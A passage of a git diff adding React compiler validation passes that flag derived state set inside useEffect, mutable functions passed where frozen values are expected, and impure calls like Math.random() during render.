+          if (aggregateDeps.size !== 0) {
+            values.set(instr.lvalue.identifier.id, Array.from(aggregateDeps));
+          }
+
+          if (
+            instr.value.kind === 'CallExpression' &&
+            isSetStateType(instr.value.callee.identifier) &&
+            instr.value.args.length === 1 &&
+            instr.value.args[0].kind === 'Identifier'
+          ) {
+            const deps = values.get(instr.value.args[0].identifier.id);
+            if (deps != null && new Set(deps).size === effectDeps.length) {
+              setStateLocations.push(instr.value.callee.loc);
+            } else {
+              // doesn't depend on any deps
+              return;
+            }
+          }
+          break;
+        }
+        default: {
+          return;
+        }
+      }
+    }
+    for (const operand of eachTerminalOperand(block.terminal)) {
+      if (values.has(operand.identifier.id)) {
+        //
+        return;
+      }
+    }
+    seenBlocks.add(block.id);
+  }
+
+  for (const loc of setStateLocations) {
+    env.recordError(
+      new CompilerErrorDetail({
+        category: ErrorCategory.EffectDerivationsOfState,
+        reason:
+          'Values derived from props and state should be calculated during render, not in an effect. (https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state)',
+        description: null,
+        loc,
+        suggestions: null,
+      }),
+    );
+  }
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoDerivedComputationsInEffects_exp.ts b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoDerivedComputationsInEffects_exp.ts
new file mode 100644
index 000000000000..616c6d20250f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoDerivedComputationsInEffects_exp.ts
@@ -0,0 +1,842 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {Result} from '../Utils/Result';
+import {CompilerDiagnostic, CompilerError, Effect} from '..';
+import {ErrorCategory} from '../CompilerError';
+import {
+  BlockId,
+  FunctionExpression,
+  HIRFunction,
+  IdentifierId,
+  isSetStateType,
+  isUseEffectHookType,
+  Place,
+  CallExpression,
+  Instruction,
+  isUseStateType,
+  BasicBlock,
+  isUseRefType,
+  SourceLocation,
+  ArrayExpression,
+} from '../HIR';
+import {eachInstructionLValue, eachInstructionOperand} from '../HIR/visitors';
+import {isMutable} from '../ReactiveScopes/InferReactiveScopeVariables';
+import {assertExhaustive} from '../Utils/utils';
+
+type TypeOfValue = 'ignored' | 'fromProps' | 'fromState' | 'fromPropsAndState';
+
+type DerivationMetadata = {
+  typeOfValue: TypeOfValue;
+  place: Place;
+  sourcesIds: Set<IdentifierId>;
+  isStateSource: boolean;
+};
+
+type EffectMetadata = {
+  effect: HIRFunction;
+  dependencies: ArrayExpression;
+};
+
+type ValidationContext = {
+  readonly functions: Map<IdentifierId, FunctionExpression>;
+  readonly candidateDependencies: Map<IdentifierId, ArrayExpression>;
+  readonly errors: CompilerError;
+  readonly derivationCache: DerivationCache;
+  readonly effectsCache: Map<IdentifierId, EffectMetadata>;
+  readonly setStateLoads: Map<IdentifierId, IdentifierId | null>;
+  readonly setStateUsages: Map<IdentifierId, Set<SourceLocation>>;
+};
+
+const MAX_FIXPOINT_ITERATIONS = 100;
+
+class DerivationCache {
+  hasChanges: boolean = false;
+  cache: Map<IdentifierId, DerivationMetadata> = new Map();
+  private previousCache: Map<IdentifierId, DerivationMetadata> | null = null;
+
+  takeSnapshot(): void {
+    this.previousCache = new Map();
+    for (const [key, value] of this.cache.entries()) {
+      this.previousCache.set(key, {
+        place: value.place,
+        sourcesIds: new Set(value.sourcesIds),
+        typeOfValue: value.typeOfValue,
+        isStateSource: value.isStateSource,
+      });
+    }
+  }
+
+  checkForChanges(): void {
+    if (this.previousCache === null) {
+      this.hasChanges = true;
+      return;
+    }
+
+    for (const [key, value] of this.cache.entries()) {
+      const previousValue = this.previousCache.get(key);
+      if (
+        previousValue === undefined ||
+        !this.isDerivationEqual(previousValue, value)
+      ) {
+        this.hasChanges = true;
+        return;
+      }
+    }
+
+    if (this.cache.size !== this.previousCache.size) {
+      this.hasChanges = true;
+      return;
+    }
+
+    this.hasChanges = false;
+  }
+
+  snapshot(): boolean {
+    const hasChanges = this.hasChanges;
+    this.hasChanges = false;
+    return hasChanges;
+  }
+
+  addDerivationEntry(
+    derivedVar: Place,
+    sourcesIds: Set<IdentifierId>,
+    typeOfValue: TypeOfValue,
+    isStateSource: boolean,
+  ): void {
+    let finalIsSource = isStateSource;
+    if (!finalIsSource) {
+      for (const sourceId of sourcesIds) {
+        const sourceMetadata = this.cache.get(sourceId);
+        if (
+          sourceMetadata?.isStateSource &&
+          sourceMetadata.place.identifier.name?.kind !== 'named'
+        ) {
+          finalIsSource = true;
+          break;
+        }
+      }
+    }
+
+    this.cache.set(derivedVar.identifier.id, {
+      place: derivedVar,
+      sourcesIds: sourcesIds,
+      typeOfValue: typeOfValue ?? 'ignored',
+      isStateSource: finalIsSource,
+    });
+  }
+
+  private isDerivationEqual(
+    a: DerivationMetadata,
+    b: DerivationMetadata,
+  ): boolean {
+    if (a.typeOfValue !== b.typeOfValue) {
+      return false;
+    }
+    if (a.sourcesIds.size !== b.sourcesIds.size) {
+      return false;
+    }
+    for (const id of a.sourcesIds) {
+      if (!b.sourcesIds.has(id)) {
+        return false;
+      }
+    }
+    return true;
+  }
+}
+
+function isNamedIdentifier(place: Place): place is Place & {
+  identifier: {name: NonNullable<Place['identifier']['name']>};
+} {
+  return (
+    place.identifier.name !== null && place.identifier.name.kind === 'named'
+  );
+}
+
+/**
+ * Validates that useEffect is not used for derived computations which could/should
+ * be performed in render.
+ *
+ * See https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state
+ *
+ * Example:
+ *
+ * ```
+ * // 🔴 Avoid: redundant state and unnecessary Effect
+ * const [fullName, setFullName] = useState('');
+ * useEffect(() => {
+ *   setFullName(firstName + ' ' + lastName);
+ * }, [firstName, lastName]);
+ * ```
+ *
+ * Instead use:
+ *
+ * ```
+ * // ✅ Good: calculated during rendering
+ * const fullName = firstName + ' ' + lastName;
+ * ```
+ */
+export function validateNoDerivedComputationsInEffects_exp(
+  fn: HIRFunction,
+): Result<void, CompilerError> {
+  const functions: Map<IdentifierId, FunctionExpression> = new Map();
+  const candidateDependencies: Map<IdentifierId, ArrayExpression> = new Map();
+  const derivationCache = new DerivationCache();
+  const errors = new CompilerError();
+  const effectsCache: Map<IdentifierId, EffectMetadata> = new Map();
+
+  const setStateLoads: Map<IdentifierId, IdentifierId> = new Map();
+  const setStateUsages: Map<IdentifierId, Set<SourceLocation>> = new Map();
+
+  const context: ValidationContext = {
+    functions,
+    candidateDependencies,
+    errors,
+    derivationCache,
+    effectsCache,
+    setStateLoads,
+    setStateUsages,
+  };
+
+  if (fn.fnType === 'Hook') {
+    for (const param of fn.params) {
+      if (param.kind === 'Identifier') {
+        context.derivationCache.cache.set(param.identifier.id, {
+          place: param,
+          sourcesIds: new Set(),
+          typeOfValue: 'fromProps',
+          isStateSource: true,
+        });
+      }
+    }
+  } else if (fn.fnType === 'Component') {
+    const props = fn.params[0];
+    if (props != null && props.kind === 'Identifier') {
+      context.derivationCache.cache.set(props.identifier.id, {
+        place: props,
+        sourcesIds: new Set(),
+        typeOfValue: 'fromProps',
+        isStateSource: true,
+      });
+    }
+  }
+
+  let isFirstPass = true;
+  let iterationCount = 0;
+  do {
+    context.derivationCache.takeSnapshot();
+
+    for (const block of fn.body.blocks.values()) {
+      recordPhiDerivations(block, context);
+      for (const instr of block.instructions) {
+        recordInstructionDerivations(instr, context, isFirstPass);
+      }
+    }
+
+    context.derivationCache.checkForChanges();
+    isFirstPass = false;
+    iterationCount++;
+    CompilerError.invariant(iterationCount < MAX_FIXPOINT_ITERATIONS, {
+      reason:
+        '[ValidateNoDerivedComputationsInEffects] Fixpoint iteration failed to converge.',
+      description: `Fixpoint iteration exceeded ${MAX_FIXPOINT_ITERATIONS} iterations while tracking derivations. This suggests a cyclic dependency in the derivation cache.`,
+      loc: fn.loc,
+    });
+  } while (context.derivationCache.snapshot());
+
+  for (const [, effect] of effectsCache) {
+    validateEffect(effect.effect, effect.dependencies, context);
+  }
+
+  return errors.asResult();
+}
+
+function recordPhiDerivations(
+  block: BasicBlock,
+  context: ValidationContext,
+): void {
+  for (const phi of block.phis) {
+    let typeOfValue: TypeOfValue = 'ignored';
+    let sourcesIds: Set<IdentifierId> = new Set();
+    for (const operand of phi.operands.values()) {
+      const operandMetadata = context.derivationCache.cache.get(
+        operand.identifier.id,
+      );
+
+      if (operandMetadata === undefined) {
+        continue;
+      }
+
+      typeOfValue = joinValue(typeOfValue, operandMetadata.typeOfValue);
+      sourcesIds.add(operand.identifier.id);
+    }
+
+    if (typeOfValue !== 'ignored') {
+      context.derivationCache.addDerivationEntry(
+        phi.place,
+        sourcesIds,
+        typeOfValue,
+        false,
+      );
+    }
+  }
+}
+
+function joinValue(
+  lvalueType: TypeOfValue,
+  valueType: TypeOfValue,
+): TypeOfValue {
+  if (lvalueType === 'ignored') return valueType;
+  if (valueType === 'ignored') return lvalueType;
+  if (lvalueType === valueType) return lvalueType;
+  return 'fromPropsAndState';
+}
+
+function getRootSetState(
+  key: IdentifierId,
+  loads: Map<IdentifierId, IdentifierId | null>,
+  visited: Set<IdentifierId> = new Set(),
+): IdentifierId | null {
+  if (visited.has(key)) {
+    return null;
+  }
+  visited.add(key);
+
+  const parentId = loads.get(key);
+
+  if (parentId === undefined) {
+    return null;
+  }
+
+  if (parentId === null) {
+    return key;
+  }
+
+  return getRootSetState(parentId, loads, visited);
+}
+
+function maybeRecordSetState(
+  instr: Instruction,
+  loads: Map<IdentifierId, IdentifierId | null>,
+  usages: Map<IdentifierId, Set<SourceLocation>>,
+): void {
+  for (const operand of eachInstructionLValue(instr)) {
+    if (
+      instr.value.kind === 'LoadLocal' &&
+      loads.has(instr.value.place.identifier.id)
+    ) {
+      loads.set(operand.identifier.id, instr.value.place.identifier.id);
+    } else {
+      if (isSetStateType(operand.identifier)) {
+        // this is a root setState
+        loads.set(operand.identifier.id, null);
+      }
+    }
+
+    const rootSetState = getRootSetState(operand.identifier.id, loads);
+    if (rootSetState !== null && usages.get(rootSetState) === undefined) {
+      usages.set(rootSetState, new Set([operand.loc]));
+    }
+  }
+}
+
+function recordInstructionDerivations(
+  instr: Instruction,
+  context: ValidationContext,
+  isFirstPass: boolean,
+): void {
+  maybeRecordSetState(instr, context.setStateLoads, context.setStateUsages);
+
+  let typeOfValue: TypeOfValue = 'ignored';
+  let isSource: boolean = false;
+  const sources: Set<IdentifierId> = new Set();
+  const {lvalue, value} = instr;
+  if (value.kind === 'FunctionExpression') {
+    context.functions.set(lvalue.identifier.id, value);
+    for (const [, block] of value.loweredFunc.func.body.blocks) {
+      recordPhiDerivations(block, context);
+      for (const instr of block.instructions) {
+        recordInstructionDerivations(instr, context, isFirstPass);
+      }
+    }
+  } else if (value.kind === 'CallExpression' || value.kind === 'MethodCall') {
+    const callee =
+      value.kind === 'CallExpression' ? value.callee : value.property;
+    if (
+      isUseEffectHookType(callee.identifier) &&
+      value.args.length === 2 &&
+      value.args[0].kind === 'Identifier' &&
+      value.args[1].kind === 'Identifier'
+    ) {
+      const effectFunction = context.functions.get(value.args[0].identifier.id);
+      const deps = context.candidateDependencies.get(
+        value.args[1].identifier.id,
+      );
+      if (effectFunction != null && deps != null) {
+        context.effectsCache.set(value.args[0].identifier.id, {
+          effect: effectFunction.loweredFunc.func,
+          dependencies: deps,
+        });
+      }
+    } else if (isUseStateType(lvalue.identifier)) {
+      typeOfValue = 'fromState';
+      context.derivationCache.addDerivationEntry(
+        lvalue,
+        new Set(),
+        typeOfValue,
+        true,
+      );
+      return;
+    }
+  } else if (value.kind === 'ArrayExpression') {
+    context.candidateDependencies.set(lvalue.identifier.id, value);
+  }
+
+  for (const operand of eachInstructionOperand(instr)) {
+    if (context.setStateLoads.has(operand.identifier.id)) {
+      const rootSetStateId = getRootSetState(
+        operand.identifier.id,
+        context.setStateLoads,
+      );
+      if (rootSetStateId !== null) {
+        context.setStateUsages.get(rootSetStateId)?.add(operand.loc);
+      }
+    }
+
+    const operandMetadata = context.derivationCache.cache.get(
+      operand.identifier.id,
+    );
+
+    if (operandMetadata === undefined) {
+      continue;
+    }
+
+    typeOfValue = joinValue(typeOfValue, operandMetadata.typeOfValue);
+    sources.add(operand.identifier.id);
+  }
+
+  if (typeOfValue === 'ignored') {
+    return;
+  }
+
+  for (const lvalue of eachInstructionLValue(instr)) {
+    context.derivationCache.addDerivationEntry(
+      lvalue,
+      sources,
+      typeOfValue,
+      isSource,
+    );
+  }
+
+  if (value.kind === 'FunctionExpression') {
+    /*
+     * We don't want to record effect mutations of FunctionExpressions the mutations will happen in the
+     * function body and we will record them there.
+     */
+    return;
+  }
+
+  for (const operand of eachInstructionOperand(instr)) {
+    switch (operand.effect) {
+      case Effect.Capture:
+      case Effect.Store:
+      case Effect.ConditionallyMutate:
+      case Effect.ConditionallyMutateIterator:
+      case Effect.Mutate: {
+        if (isMutable(instr, operand)) {
+          if (context.derivationCache.cache.has(operand.identifier.id)) {
+            const operandMetadata = context.derivationCache.cache.get(
+              operand.identifier.id,
+            );
+
+            if (operandMetadata !== undefined) {
+              operandMetadata.typeOfValue = joinValue(
+                typeOfValue,
+                operandMetadata.typeOfValue,
+              );
+            }
+          } else {
+            context.derivationCache.addDerivationEntry(
+              operand,
+              sources,
+              typeOfValue,
+              false,
+            );
+          }
+        }
+        break;
+      }
+      case Effect.Freeze:
+      case Effect.Read: {
+        // no-op
+        break;
+      }
+      case Effect.Unknown: {
+        CompilerError.invariant(false, {
+          reason: 'Unexpected unknown effect',
+          loc: operand.loc,
+        });
+      }
+      default: {
+        assertExhaustive(
+          operand.effect,
+          `Unexpected effect kind \`${operand.effect}\``,
+        );
+      }
+    }
+  }
+}
+
+type TreeNode = {
+  name: string;
+  typeOfValue: TypeOfValue;
+  isSource: boolean;
+  children: Array<TreeNode>;
+};
+
+function buildTreeNode(
+  sourceId: IdentifierId,
+  context: ValidationContext,
+  visited: Set<string> = new Set(),
+): Array<TreeNode> {
+  const sourceMetadata = context.derivationCache.cache.get(sourceId);
+  if (!sourceMetadata) {
+    return [];
+  }
+
+  if (sourceMetadata.isStateSource && isNamedIdentifier(sourceMetadata.place)) {
+    return [
+      {
+        name: sourceMetadata.place.identifier.name.value,
+        typeOfValue: sourceMetadata.typeOfValue,
+        isSource: sourceMetadata.isStateSource,
+        children: [],
+      },
+    ];
+  }
+
+  const children: Array<TreeNode> = [];
+
+  const namedSiblings: Set<string> = new Set();
+  for (const childId of sourceMetadata.sourcesIds) {
+    CompilerError.invariant(childId !== sourceId, {
+      reason:
+        'Unexpected self-reference: a value should not have itself as a source',
+      loc: sourceMetadata.place.loc,
+    });
+
+    const childNodes = buildTreeNode(
+      childId,
+      context,
+      new Set([
+        ...visited,
+        ...(isNamedIdentifier(sourceMetadata.place)
+          ? [sourceMetadata.place.identifier.name.value]
+          : []),
+      ]),
+    );
+    if (childNodes) {
+      for (const childNode of childNodes) {
+        if (!namedSiblings.has(childNode.name)) {
+          children.push(childNode);
+          namedSiblings.add(childNode.name);
+        }
+      }
+    }
+  }
+
+  if (
+    isNamedIdentifier(sourceMetadata.place) &&
+    !visited.has(sourceMetadata.place.identifier.name.value)
+  ) {
+    return [
+      {
+        name: sourceMetadata.place.identifier.name.value,
+        typeOfValue: sourceMetadata.typeOfValue,
+        isSource: sourceMetadata.isStateSource,
+        children: children,
+      },
+    ];
+  }
+
+  return children;
+}
+
+function renderTree(
+  node: TreeNode,
+  indent: string = '',
+  isLast: boolean = true,
+  propsSet: Set<string>,
+  stateSet: Set<string>,
+): string {
+  const prefix = indent + (isLast ? '└── ' : '├── ');
+  const childIndent = indent + (isLast ? '    ' : '│   ');
+
+  let result = `${prefix}${node.name}`;
+
+  if (node.isSource) {
+    let typeLabel: string;
+    if (node.typeOfValue === 'fromProps') {
+      propsSet.add(node.name);
+      typeLabel = 'Prop';
+    } else if (node.typeOfValue === 'fromState') {
+      stateSet.add(node.name);
+      typeLabel = 'State';
+    } else {
+      propsSet.add(node.name);
+      stateSet.add(node.name);
+      typeLabel = 'Prop and State';
+    }
+    result += ` (${typeLabel})`;
+  }
+
+  if (node.children.length > 0) {
+    result += '\n';
+    node.children.forEach((child, index) => {
+      const isLastChild = index === node.children.length - 1;
+      result += renderTree(child, childIndent, isLastChild, propsSet, stateSet);
+      if (index < node.children.length - 1) {
+        result += '\n';
+      }
+    });
+  }
+
+  return result;
+}
+
+function getFnLocalDeps(
+  fn: FunctionExpression | undefined,
+): Set<IdentifierId> | undefined {
+  if (!fn) {
+    return undefined;
+  }
+
+  const deps: Set<IdentifierId> = new Set();
+
+  for (const [, block] of fn.loweredFunc.func.body.blocks) {
+    for (const instr of block.instructions) {
+      if (instr.value.kind === 'LoadLocal') {
+        deps.add(instr.value.place.identifier.id);
+      }
+    }
+  }
+
+  return deps;
+}
+
+function validateEffect(
+  effectFunction: HIRFunction,
+  dependencies: ArrayExpression,
+  context: ValidationContext,
+): void {
+  const seenBlocks: Set<BlockId> = new Set();
+
+  const effectDerivedSetStateCalls: Array<{
+    value: CallExpression;
+    id: IdentifierId;
+    sourceIds: Set<IdentifierId>;
+    typeOfValue: TypeOfValue;
+  }> = [];
+
+  const effectSetStateUsages: Map<
+    IdentifierId,
+    Set<SourceLocation>
+  > = new Map();
+
+  // Consider setStates in the effect's dependency array as being part of effectSetStateUsages
+  for (const dep of dependencies.elements) {
+    if (dep.kind === 'Identifier') {
+      const root = getRootSetState(dep.identifier.id, context.setStateLoads);
+      if (root !== null) {
+        effectSetStateUsages.set(root, new Set([dep.loc]));
+      }
+    }
+  }
+
+  let cleanUpFunctionDeps: Set<IdentifierId> | undefined;
+
+  const globals: Set<IdentifierId> = new Set();
+  for (const block of effectFunction.body.blocks.values()) {
+    /*
+     * if the block is in an effect and is of type return then its an effect's cleanup function
+     * if the cleanup function depends on a value from which effect-set state is derived then
+     * we can't validate
+     */
+    if (
+      block.terminal.kind === 'return' &&
+      block.terminal.returnVariant === 'Explicit'
+    ) {
+      cleanUpFunctionDeps = getFnLocalDeps(
+        context.functions.get(block.terminal.value.identifier.id),
+      );
+    }
+    for (const pred of block.preds) {
+      if (!seenBlocks.has(pred)) {
+        // skip if block has a back edge
+        return;
+      }
+    }
+
+    for (const instr of block.instructions) {
+      // Early return if any instruction is deriving a value from a ref
+      if (isUseRefType(instr.lvalue.identifier)) {
+        return;
+      }
+
+      maybeRecordSetState(instr, context.setStateLoads, effectSetStateUsages);
+
+      for (const operand of eachInstructionOperand(instr)) {
+        if (context.setStateLoads.has(operand.identifier.id)) {
+          const rootSetStateId = getRootSetState(
+            operand.identifier.id,
+            context.setStateLoads,
+          );
+          if (rootSetStateId !== null) {
+            effectSetStateUsages.get(rootSetStateId)?.add(operand.loc);
+          }
+        }
+      }
+
+      if (
+        instr.value.kind === 'CallExpression' &&
+        isSetStateType(instr.value.callee.identifier) &&
+        instr.value.args.length === 1 &&
+        instr.value.args[0].kind === 'Identifier'
+      ) {
+        const calleeMetadata = context.derivationCache.cache.get(
+          instr.value.callee.identifier.id,
+        );
+
+        /*
+         * If the setState comes from a source other than local state skip
+         * since the fix is not to calculate in render
+         */
+        if (calleeMetadata?.typeOfValue != 'fromState') {
+          continue;
+        }
+
+        const argMetadata = context.derivationCache.cache.get(
+          instr.value.args[0].identifier.id,
+        );
+
+        if (argMetadata !== undefined) {
+          effectDerivedSetStateCalls.push({
+            value: instr.value,
+            id: instr.value.callee.identifier.id,
+            sourceIds: argMetadata.sourcesIds,
+            typeOfValue: argMetadata.typeOfValue,
+          });
+        }
+      } else if (instr.value.kind === 'CallExpression') {
+        const calleeMetadata = context.derivationCache.cache.get(
+          instr.value.callee.identifier.id,
+        );
+
+        if (
+          calleeMetadata !== undefined &&
+          (calleeMetadata.typeOfValue === 'fromProps' ||
+            calleeMetadata.typeOfValue === 'fromPropsAndState')
+        ) {
+          // If the callee is a prop we can't confidently say that it should be derived in render
+          return;
+        }
+
+        if (globals.has(instr.value.callee.identifier.id)) {
+          // If the callee is a global we can't confidently say that it should be derived in render
+          return;
+        }
+      } else if (instr.value.kind === 'LoadGlobal') {
+        globals.add(instr.lvalue.identifier.id);
+        for (const operand of eachInstructionOperand(instr)) {
+          globals.add(operand.identifier.id);
+        }
+      }
+    }
+    seenBlocks.add(block.id);
+  }
+
+  for (const derivedSetStateCall of effectDerivedSetStateCalls) {
+    const rootSetStateCall = getRootSetState(
+      derivedSetStateCall.id,
+      context.setStateLoads,
+    );
+
+    if (
+      rootSetStateCall !== null &&
+      effectSetStateUsages.has(rootSetStateCall) &&
+      context.setStateUsages.has(rootSetStateCall) &&
+      effectSetStateUsages.get(rootSetStateCall)!.size ===
+        context.setStateUsages.get(rootSetStateCall)!.size - 1
+    ) {
+      const propsSet = new Set<string>();
+      const stateSet = new Set<string>();
+
+      const rootNodesMap = new Map<string, TreeNode>();
+      for (const id of derivedSetStateCall.sourceIds) {
+        const nodes = buildTreeNode(id, context);
+        for (const node of nodes) {
+          if (!rootNodesMap.has(node.name)) {
+            rootNodesMap.set(node.name, node);
+          }
+        }
+      }
+      const rootNodes = Array.from(rootNodesMap.values());
+
+      const trees = rootNodes.map((node, index) =>
+        renderTree(
+          node,
+          '',
+          index === rootNodes.length - 1,
+          propsSet,
+          stateSet,
+        ),
+      );
+
+      for (const dep of derivedSetStateCall.sourceIds) {
+        if (cleanUpFunctionDeps !== undefined && cleanUpFunctionDeps.has(dep)) {
+          return;
+        }
+      }
+
+      const propsArr = Array.from(propsSet);
+      const stateArr = Array.from(stateSet);
+
+      let rootSources = '';
+      if (propsArr.length > 0) {
+        rootSources += `Props: [${propsArr.join(', ')}]`;
+      }
+      if (stateArr.length > 0) {
+        if (rootSources) rootSources += '\n';
+        rootSources += `State: [${stateArr.join(', ')}]`;
+      }
+
+      const description = `Using an effect triggers an additional render which can hurt performance and user experience, potentially briefly showing stale values to the user
+
+This setState call is setting a derived value that depends on the following reactive sources:
+
+${rootSources}
+
+Data Flow Tree:
+${trees.join('\n')}
+
+See: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state`;
+
+      context.errors.pushDiagnostic(
+        CompilerDiagnostic.create({
+          description: description,
+          category: ErrorCategory.EffectDerivationsOfState,
+          reason:
+            'You might not need an effect. Derive values in render, not effects.',
+        }).withDetails({
+          kind: 'error',
+          loc: derivedSetStateCall.value.callee.loc,
+          message: 'This should be computed during render, not in an effect',
+        }),
+      );
+    }
+  }
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoFreezingKnownMutableFunctions.ts b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoFreezingKnownMutableFunctions.ts
new file mode 100644
index 000000000000..3fc28ffb9e76
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoFreezingKnownMutableFunctions.ts
@@ -0,0 +1,161 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {CompilerDiagnostic, Effect} from '..';
+import {ErrorCategory} from '../CompilerError';
+import {
+  HIRFunction,
+  IdentifierId,
+  isRefOrRefLikeMutableType,
+  Place,
+} from '../HIR';
+import {
+  eachInstructionValueOperand,
+  eachTerminalOperand,
+} from '../HIR/visitors';
+import {AliasingEffect} from '../Inference/AliasingEffects';
+
+/**
+ * Validates that functions with known mutations (ie due to types) cannot be passed
+ * where a frozen value is expected. Example:
+ *
+ * ```
+ * function Component() {
+ *   const cache = new Map();
+ *   const onClick = () => {
+ *     cache.set(...);
+ *   }
+ *   useHook(onClick); // ERROR: cannot pass a mutable value
+ *   return <Foo onClick={onClick} /> // ERROR: cannot pass a mutable value
+ * }
+ * ```
+ *
+ * Because `onClick` function mutates `cache` when called, `onClick` is equivalent to a mutable
+ * variables. But unlike other mutables values like an array, the receiver of the function has
+ * no way to avoid mutation — for example, a function can receive an array and choose not to mutate
+ * it, but there's no way to know that a function is mutable and avoid calling it.
+ *
+ * This pass detects functions with *known* mutations (Store or Mutate, not ConditionallyMutate)
+ * that are passed where a frozen value is expected and rejects them.
+ */
+export function validateNoFreezingKnownMutableFunctions(fn: HIRFunction): void {
+  const contextMutationEffects: Map<
+    IdentifierId,
+    Extract<AliasingEffect, {kind: 'Mutate'} | {kind: 'MutateTransitive'}>
+  > = new Map();
+
+  function visitOperand(operand: Place): void {
+    if (operand.effect === Effect.Freeze) {
+      const effect = contextMutationEffects.get(operand.identifier.id);
+      if (effect != null) {
+        const place = effect.value;
+        const variable =
+          place != null &&
+          place.identifier.name != null &&
+          place.identifier.name.kind === 'named'
+            ? `\`${place.identifier.name.value}\``
+            : 'a local variable';
+        fn.env.recordError(
+          CompilerDiagnostic.create({
+            category: ErrorCategory.Immutability,
+            reason: 'Cannot modify local variables after render completes',
+            description: `This argument is a function which may reassign or mutate ${variable} after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead`,
+          })
+            .withDetails({
+              kind: 'error',
+              loc: operand.loc,
+              message: `This function may (indirectly) reassign or modify ${variable} after render`,
+            })
+            .withDetails({
+              kind: 'error',
+              loc: effect.value.loc,
+              message: `This modifies ${variable}`,
+            }),
+        );
+      }
+    }
+  }
+
+  for (const block of fn.body.blocks.values()) {
+    for (const instr of block.instructions) {
+      const {lvalue, value} = instr;
+      switch (value.kind) {
+        case 'LoadLocal': {
+          const effect = contextMutationEffects.get(value.place.identifier.id);
+          if (effect != null) {
+            contextMutationEffects.set(lvalue.identifier.id, effect);
+          }
+          break;
+        }
+        case 'StoreLocal': {
+          const effect = contextMutationEffects.get(value.value.identifier.id);
+          if (effect != null) {
+            contextMutationEffects.set(lvalue.identifier.id, effect);
+            contextMutationEffects.set(
+              value.lvalue.place.identifier.id,
+              effect,
+            );
+          }
+          break;
+        }
+        case 'FunctionExpression': {
+          if (value.loweredFunc.func.aliasingEffects != null) {
+            const context = new Set(
+              value.loweredFunc.func.context.map(p => p.identifier.id),
+            );
+            effects: for (const effect of value.loweredFunc.func
+              .aliasingEffects) {
+              switch (effect.kind) {
+                case 'Mutate':
+                case 'MutateTransitive': {
+                  const knownMutation = contextMutationEffects.get(
+                    effect.value.identifier.id,
+                  );
+                  if (knownMutation != null) {
+                    contextMutationEffects.set(
+                      lvalue.identifier.id,
+                      knownMutation,
+                    );
+                  } else if (
+                    context.has(effect.value.identifier.id) &&
+                    !isRefOrRefLikeMutableType(effect.value.identifier.type)
+                  ) {
+                    contextMutationEffects.set(lvalue.identifier.id, effect);
+                    break effects;
+                  }
+                  break;
+                }
+                case 'MutateConditionally':
+                case 'MutateTransitiveConditionally': {
+                  const knownMutation = contextMutationEffects.get(
+                    effect.value.identifier.id,
+                  );
+                  if (knownMutation != null) {
+                    contextMutationEffects.set(
+                      lvalue.identifier.id,
+                      knownMutation,
+                    );
+                  }
+                  break;
+                }
+              }
+            }
+          }
+          break;
+        }
+        default: {
+          for (const operand of eachInstructionValueOperand(value)) {
+            visitOperand(operand);
+          }
+        }
+      }
+    }
+    for (const operand of eachTerminalOperand(block.terminal)) {
+      visitOperand(operand);
+    }
+  }
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoImpureFunctionsInRender.ts b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoImpureFunctionsInRender.ts
new file mode 100644
index 000000000000..ba089fbd1bc4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoImpureFunctionsInRender.ts
@@ -0,0 +1,54 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {CompilerDiagnostic} from '..';
+import {ErrorCategory} from '../CompilerError';
+import {HIRFunction} from '../HIR';
+import {getFunctionCallSignature} from '../Inference/InferMutationAliasingEffects';
+
+/**
+ * Checks that known-impure functions are not called during render. Examples of invalid functions to
+ * call during render are `Math.random()` and `Date.now()`. Users may extend this set of
+ * impure functions via a module type provider and specifying functions with `impure: true`.
+ *
+ * TODO: add best-effort analysis of functions which are called during render. We have variations of
+ * this in several of our validation passes and should unify those analyses into a reusable helper
+ * and use it here.
+ */
+export function validateNoImpureFunctionsInRender(fn: HIRFunction): void {
+  for (const [, block] of fn.body.blocks) {
+    for (const instr of block.instructions) {
+      const value = instr.value;
+      if (value.kind === 'MethodCall' || value.kind == 'CallExpression') {
+        const callee =
+          value.kind === 'MethodCall' ? value.property : value.callee;
+        const signature = getFunctionCallSignature(
+          fn.env,
+          callee.identifier.type,
+        );
+        if (signature != null && signature.impure === true) {
+          fn.env.recordError(
+            CompilerDiagnostic.create({
+              category: ErrorCategory.Purity,
+              reason: 'Cannot call impure function during render',
+              description:
+                (signature.canonicalName != null
+                  ? `\`${signature.canonicalName}\` is an impure function. `
+                  : '') +
+                'Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#components-and-hooks-must-be-idempotent)',
+              suggestions: null,
+            }).withDetails({
+              kind: 'error',
+              loc: callee.loc,
+              message: 'Cannot call impure function',
+            }),
+          );
+        }
+      }
+    }
+  }
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoJSXInTryStatement.ts b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoJSXInTryStatement.ts
new file mode 100644
index 000000000000..00ffca556f45
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoJSXInTryStatement.ts
@@ -0,0 +1,60 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
